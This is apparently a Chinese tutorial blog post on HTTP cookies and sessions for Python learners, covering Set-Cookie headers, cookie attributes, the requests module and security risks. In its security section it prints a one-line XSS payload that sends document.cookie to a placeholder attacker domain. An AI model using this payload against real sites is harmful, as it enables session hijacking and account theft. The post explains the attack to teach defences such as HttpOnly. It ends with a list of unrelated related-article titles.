今天我们来全面了解一下Cookie(小饼干)相关的知识!篇幅有点长,在学习Python的伙伴或者有兴趣的你,可以耐心看哦!

相信很多同学肯定听过Cookie这个东西,也大概了解其作用,但是其原理以及如何设置,可能没有做过web的同学并不是非常清楚,以前的

Python学习教程

中其实有跟大家提到过,那今天就带大家详细了解下Cookie相关的知识!

一、诞生背景

爬虫系列教程的第一篇:HTTP详解中我们便说过HTTP的五大特点,而其中之一便是:无状态

HTTP无状态:服务器无法知道两个请求是否来自同一个浏览器,即服务器不知道用户上一次做了什么,每次请求都是完全相互独立。

早期互联网只是用于简单的浏览文档信息、查看黄页、门户网站等等,并没有交互这个说法。但是随着互联网慢慢发展,宽带、服务器等硬件设施已经得到很大的提升,互联网允许人们可以做更多的事情,所以交互式Web慢慢兴起,而HTTP无状态的特点却严重阻碍其发展!

交互式Web:客户端与服务器可以互动,如用户登录,购买商品,各种论坛等等

不能记录用户上一次做了什么,怎么办?聪明的程序员们就开始思考:怎么样才能记录用户上一次的操作信息呢?于是有人就想到了隐藏域。

隐藏域写法:

这样把用户上一次操作记录放在form表单的input中,这样请求时将表单提交不就知道上一次用户的操作,但是这样每次都得创建隐藏域而且得赋值太麻烦,而且容易出错!

ps

:隐藏域作用强大,时至今日都有很多人在用它解决各种问题!

网景公司当时一名员工Lou Montulli(卢-蒙特利),在1994年将“cookies”的概念应用于网络通信,用来解决用户网上购物的购物车历史记录,而当时最强大的浏览器正是网景浏览器,在网景浏览器的支持下其他浏览器也渐渐开始支持Cookie,到目前所有浏览器都支持Cookie了

二、Cookie是什么

前面我们已经知道了Cookie的诞生是为了解决HTTP无状态的特性无法满足交互式web,那它究竟是什么呢?

上图是在Chrome浏览器中的百度首页的Cookies(Cookie的复数形式),在表格中,每一行都代表着一个Cookie,所以我们来看看Cookie的定义吧!

Cookie是由服务器发给客户端的特殊信息,而这些信息以文本文件的方式存放在客户端,然后客户端每次向服务器发送请求的时候都会带上这些特殊的信息,用于服务器记录客户端的状态。

Cookie主要用于以下三个方面:

会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)

个性化设置(如用户自定义设置、主题等)

浏览器行为跟踪(如跟踪分析用户行为等)

三、Cookie原理

我们在了解了Cookie是由服务器发出存储在浏览器的特殊信息,那具体是怎么样的一个过程呢?为了大家便于理解,猪哥就以用户登录为例子为大家画了一幅Cookie原理图

用户在输入用户名和密码之后,浏览器将用户名和密码发送给服务器,服务器进行验证,验证通过之后将用户信息加密后封装成Cookie放在请求头中返回给浏览器。

HTTP/1.1 200 OK

Content-type: text/html

Set-Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Aug 2019 21:47:38 GMT; Path=/; Domain=.169it.com; HttpOnly

[响应体]

浏览器收到服务器返回数据,发现请求头中有一个:Set-Cookie,然后它就把这个Cookie保存起来,下次浏览器再请求服务器的时候,会把Cookie也放在请求头中传给服务器:

GET /sample_page.html HTTP/1.1

Host: www.example.org

Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg

服务器收到请求后从请求头中拿到cookie,然后解析并到用户信息,说明此用户已登录,Cookie是将数据保存在客户端的。

这里我们可以看到,用户信息是保存在Cookie中,也就相当于是保存在浏览器中,那就说用户可以随意修改用户信息,这是一种不安全的策略!

强调一点:Cookie无论是服务器发给浏览器还是浏览器发给服务器,都是放在请求头中的!

四、Cookie属性

下图中我们可以看到一个Cookie有:Name、Value、Domain、Path、Expires/Max-Age、Size、HTTP、Secure这些属性,那这些属性分别都有什么作用呢?我们来看看

1. Name&Value

Name表示Cookie的名称,服务器就是通过name属性来获取某个Cookie值。

Value表示Cookie 的值,大多数情况下服务器会把这个value当作一个key去缓存中查询保存的数据。

2.Domain&Path

Domain表示可以访问此cookie的域名,下图我们以百度贴吧页的Cookie来讲解一下Domain属性。

从上图中我们可以看出domain有:.baidu.com 顶级域名和.teiba.baidu.com的二级域名,所以这里就会有一个访问规则:顶级域名只能设置或访问顶级域名的Cookie,二级及以下的域名只能访问或设置自身或者顶级域名的Cookie,所以如果要在多个二级域名共享Cookie的话,只能将Domain属性设置为顶级域名!

Path表示可以访问此cookie的页面路径。比如path=/test,那么只有/test路径下的页面可以读取此cookie。

3.Expires/Max-Age

Expires/Max-Age表示此cookie超时时间。若设置其值为一个时间,那么当到达此时间后,此cookie失效。不设置的话默认值是Session,意思是cookie会和session一起失效。当浏览器关闭(不是浏览器标签页,而是整个浏览器) 后,此cookie失效。

提示:当Cookie的过期时间被设定时,设定的日期和时间只与客户端相关,而不是服务端。

4.Size

Size表示Cookie的name+value的字符数,比如有一个Cookie:id=666,那么Size=2+3=5 。

另外每个浏览器对Cookie的支持都不相同

5.HTTP

HTTP表示cookie的httponly属性。若此属性为true,则只有在http请求头中会带有此cookie的信息,而不能通过document.cookie来访问此cookie。

设计该特征意在提供一个安全措施来帮助阻止通过Javascript发起的跨站脚本攻击(XSS)窃取cookie的行为

6.Secure

Secure表示是否只能通过https来传递此条cookie。不像其它选项,该选项只是一个标记并且没有其它的值。

这种cookie的内容意指具有很高的价值并且可能潜在的被破解以纯文本形式传输。

五、Python操作Cookie

1.生成Cookie

前面我们说过Cookie是由服务端生成的,那如何用Python代码来生成呢?

从上图登录代码中我们看到,在简单的验证用户名和密码之后,服务器跳转到/user,然后set了一个cookie,浏览器收到响应后发现请求头中有一个:Cookie: user_cookie=Rg3vHJZnehYLjVg7qi3bZjzg,然后浏览器就会将这个Cookie保存起来!

2.获取Cookie

最近我们一直在讲requests模块,这里我们就用requests模块来获取Cookie。

r.cookies表示获取所有cookie,get_dict()函数表示返回的是字典格式cookie。

3.设置Cookie

上篇我们爬取优酷弹幕的文章中便是用了requests模块设置Cookie

我们就浏览器复制过来的Cookie放在代码中,这样便可以顺利的伪装成浏览器,然后正常爬取数据,复制Cookie是爬虫中常用的一种手段!

六、Session

1.诞生背景

其实在Cookie设计之初,并不像猪哥讲的那样Cookie只保存一个key,而是直接保存用户信息,刚开始大家认为这样用起来很爽,但是由于cookie 是存在用户端,而且它本身存储的尺寸大小也有限,最关键是用户可以是可见的,并可以随意的修改,很不安全。那如何又要安全,又可以方便的全局读取信息呢?于是,这个时候,一种新的存储会话机制:Session 诞生了。

2.Session是什么

Session翻译为会话,服务器为每个浏览器创建的一个会话对象,浏览器在第一次请求服务器,服务器便会为这个浏览器生成一个Session对象,保存在服务端,并且把Session的Id以cookie的形式发送给客户端浏览,而以用户显式结束或session超时为结束。

我们来看看Session工作原理:

当一个用户向服务器发送第一个请求时,服务器为其建立一个session,并为此session创建一个标识号(sessionID)。

这个用户随后的所有请求都应包括这个标识号(sessionID)。服务器会校对这个标识号以判断请求属于哪个session。

对于session标识号(sessionID),有两种方式实现:Cookie和URL重写,猪哥就以Cookie的实现方式画一个Session原理图

联系cookie原理图我们可以看到,Cookie是将数据直接保存在客户端,而Session是将数据保存在服务端,就安全性来讲Session更好!

3.Python操作Session

后面猪哥将会以登录的例子来讲解如何用Python代码操作Session

七、面试场景

1.Cookie和Session关系

都是为了实现客户端与服务端交互而产出

Cookie是保存在客户端,缺点易伪造、不安全

Session是保存在服务端,会消耗服务器资源

Session实现有两种方式:Cookie和URL重写

2.Cookie带来的安全性问题

会话劫持和XSS:在Web应用中,Cookie常用来标记用户或授权会话。因此,如果Web应用的Cookie被窃取,可能导致授权用户的会话受到攻击。常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;HttpOnly类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。

跨站请求伪造(CSRF):维基百科已经给了一个比较好的CSRF例子。比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。解决CSRF的办法有:隐藏域验证码、确认机制、较短的Cookie生命周期等

八、总结

今天为大家讲解了Cookie的相关知识,以及如何使用requests模块操作Cookie,最后顺便提了一下Cookie与Session的关系以及Cookie存在哪些安全问题。希望大家能对Cookie(小饼干)能有个全面的了解,能够对你在今后的爬虫学习有所帮助!伙伴们有不清楚的地方,可以私信留言!

python如何使用session和cookie_Python学习教程:必须掌握的Cookie知识点都在这里了...相关推荐

  1. python如何使用session和cookie_Python爬虫番外篇之Cookie和Session-阿里云开发者社区

    关于cookie和session估计很多程序员面试的时候都会被问到,这两个概念在写web以及爬虫中都会涉及,并且两者可能很多人直接回答也不好说的特别清楚,所以整理这样一篇文章,也帮助自己加深理解 什么 ...

  2. python编程免费小说_Python编程学习教程:用python给自己DIY一款小说阅读器

    前一段时间书荒的时候,在喜马拉雅APP发现一个主播播讲的小说-大王饶命.听起来感觉很好笑,挺有意思的,但是只有前200张是免费的,后面就要收费.一章两毛钱,本来是想要买一下,发现说的进度比较慢而且整本 ...

  3. python操作微信电脑版_Python学习教程:教你用Python通过微信来控制电脑摄像头

    如果说强大的标准库奠定了Python发展的基石,丰富的第三方库则是python不断发展的保证.今天的Python学习教程就来通过itchart库来实现通过微信对电脑的一些操作. 1.安装库 安装itc ...

  4. python exit()什么意思_Python基础学习教程:如何用Python来写pm2.5空气质量查询程序...

    今天就教大家用之前有跟大家分享过的python基础学习教程完成首个MVP,如何用CLI(command-line interface,命令行界面)来执行第一个空气质量查询程序. 知识点 如何进行txt ...

  5. python巩固函数和模块_Python学习教程6:函数,模块和类的使用

    Python函数 定义 函数是组织好的,可重复利用的,用来实现单一,或相关联功能的代码片段. 函数能提高应用的模块行,使代码逻辑更加的条理清晰. 内建函数 内建函数是Python中自带的,可供用户重复 ...

  6. 基于Python和OpenCV的目标跟踪学习教程 Object Tracking using Python and OpenCV

    实现12种不同的算法来跟踪视频和网络摄像头中的对象! 你会学到: 使用Python和OpenCV跟踪视频和网络摄像头中的对象 理解跟踪算法的基本直觉 实现12种跟踪算法 了解对象检测和对象跟踪之间的区 ...

  7. python dict遍历_Python教程:Python数据类型之字典(附学习教程)

    字典是另一种可变容器模型,且可存储任意类型对象,是除列表以外python之中最灵活的内置数据结构类型.查找速度非常快,一个元素和10W个元素没有什么区别. 堆栈的词典 字典的无序特性和创建: 列表是有 ...

  8. python进阶路线知乎_Python学习教程(Python学习路线):第九天-面向对象进阶

    面向对象进阶 在前面的章节我们已经了解了面向对象的入门知识,知道了如何定义类,如何创建对象以及如何给对象发消息.为了能够更好的使用面向对象编程思想进行程序开发,我们还需要对Python中的面向对象编程 ...

  9. python自考_让我们一起来看看自学Python人的心声(附学习教程)

    这是一个很多工作经验的程序员 本人是一名敲了5年半python的程序员,目前在杭州工作,月薪目前是在25.6K左右,经历过两次跳槽,第一次跳槽拿到了15K的offer,第二次跳槽拿到21K的offer ...

最新文章

  1. 2018年4月份,阿里最新的java程序员面试题目
  2. 二叉树的链式结构递归遍历实现
  3. Java学习笔记——反射
  4. 利用计算机形考试二,计算机应用基础形考试题
  5. 向VMware中的Linux虚拟机共享Windows宿主机的文件/文件夹
  6. python 创建随机数专题
  7. 50. PHP 页面静态化(3)
  8. 图书馆管理系统设计说明书
  9. Python中取整函数汇总
  10. 机器学习-SVD(隐语义模型)协同过滤
  11. 绿色风格资格证书学校培训机构网站源码 织梦dedecms模板 带手机版
  12. ipod nano 无法添加mp4视频 电影失败解决方法
  13. 她全奖赴海外读博,一作发Science,毅然回国后任东南大学教授!
  14. php日期格式带T,php日期格式
  15. Mininet系列实验(二):Mininet可视化应用
  16. 算法基础--梯度消失的原因
  17. 用Python快速将ppt制作成配音视频课件的方法
  18. OpenCV 图像基本操作
  19. 计算机维修知识题库,职业技能鉴定国家题库统一试卷 中级计算机维修工知识试卷 B卷...
  20. Linux的LVM与磁盘配额

热门文章

  1. 电子沙盘系统android,电子沙盘指挥系统功能介绍
  2. sam音高修正_音乐中的音高修正简史
  3. SpringBoot调取OpenAi接口实现ChatGpt功能
  4. python筛选股票_GitHub - mykazey/stock_pick: 这时一个通过设定选股条件来帮我们筛选股票的python程序...
  5. L1-054 福到了 (15分) c++解法
  6. Intel万兆网卡,intel万兆双口网卡X540T2 性能解剖
  7. 智慧城市,以人为本的新世界
  8. 这篇测评告诉你:移动式迷你KTV凭什么攻陷了各大商场?
  9. Android 相机服务连接失败,android-无法连接到摄像头服务
  10. VSCode 翻译插件一览表